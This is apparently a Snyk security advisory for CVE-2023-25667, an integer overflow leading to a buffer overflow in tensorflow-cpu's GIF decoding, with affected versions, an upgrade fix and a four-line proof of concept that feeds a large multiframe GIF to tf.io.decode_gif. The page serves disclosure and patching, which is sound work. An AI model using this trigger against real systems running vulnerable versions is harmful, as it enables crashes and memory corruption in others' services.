Integer Overflow to Buffer Overflow Affecting tensorflow-cpu package, versions [,2.11.1) [2.12.0rc0,2.12.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.13% (49th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3373019
- published 26 Mar 2023
- disclosed 26 Mar 2023
- credit Andrei
Introduced: 26 Mar 2023
CVE-2023-25667 Open this link in a new tabHow to fix?
Upgrade tensorflow-cpu to version 2.11.1, 2.12.0 or higher.
Overview
tensorflow-cpu is a machine learning framework.
Affected versions of this package are vulnerable to Integer Overflow to Buffer Overflow when 2^31 <= num_frames * height * width * channels < 2^32, for example Full HD screencast of at least 346 frames.
PoC
import urllib.request
dat = urllib.request.urlopen('https://raw.githubusercontent.com/tensorflow/tensorflow/1c38ad9b78ffe06076745a1ee00cec42f39ff726/tensorflow/core/lib/gif/testdata/3g_multiframe.gif').read()
import tensorflow as tf
tf.io.decode_gif(dat)
References
CVSS Scores
version 3.1